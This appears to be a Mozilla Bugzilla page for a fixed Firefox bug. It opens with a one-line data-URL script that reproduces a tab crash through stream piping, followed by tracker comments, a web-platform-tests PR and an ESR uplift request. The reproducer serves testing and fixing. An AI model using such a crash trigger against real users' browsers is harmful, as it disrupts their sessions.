data:text/html,<script>let rc, wc; const rs = new ReadableStream({ start(c) { rc = c; } }); const ws = new WritableStream({ start(c) { wc = c; }, write(chunk) {} }); rs.pipeTo(ws, { preventCancel: true }).catch(() => {}); setTimeout(() => { wc.error(new Error("boom")); rc.enqueue("chunk"); }, 100);</script>
Closing the loop - the spec is kinda handwavvy here, so it's unclear it's really spec issue.
|
|
||
Comment 21•2 months ago
|
||
|
||
Comment 22•2 months ago
|
||
| bugherder | ||
|
|
Assignee | |
Updated•2 months ago
|
Created web-platform-tests PR https://github.com/web-platform-tests/wpt/pull/62554 for changes under testing/web-platform/tests
Upstream PR merged by moz-wptsync-bot
|
|
||
Comment 25•1 month ago
|
||
Do we need this on ESR153 also?
|
|
Assignee | |
Comment 26•1 month ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D322987
|
|
||
Updated•1 month ago
|
|
|
||
Comment 27•1 month ago
|
||
firefox-esr153 Uplift Approval Request
- User impact if declined/Reason for urgency: Can cause crash on tabs
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing: N/A
- Risk associated with taking this patch: low
- Explanation of risk level: only one extra check
- String changes made/needed?: N/A
- Is Android affected?: yes
|
|
Assignee | |
Updated•1 month ago
|
|
|
||
Updated•1 month ago
|
|
||
Updated•1 month ago
|
|
|
||
Comment 28•1 month ago
|
||
| uplift | ||
|
||
Updated•24 days ago
|
Description
•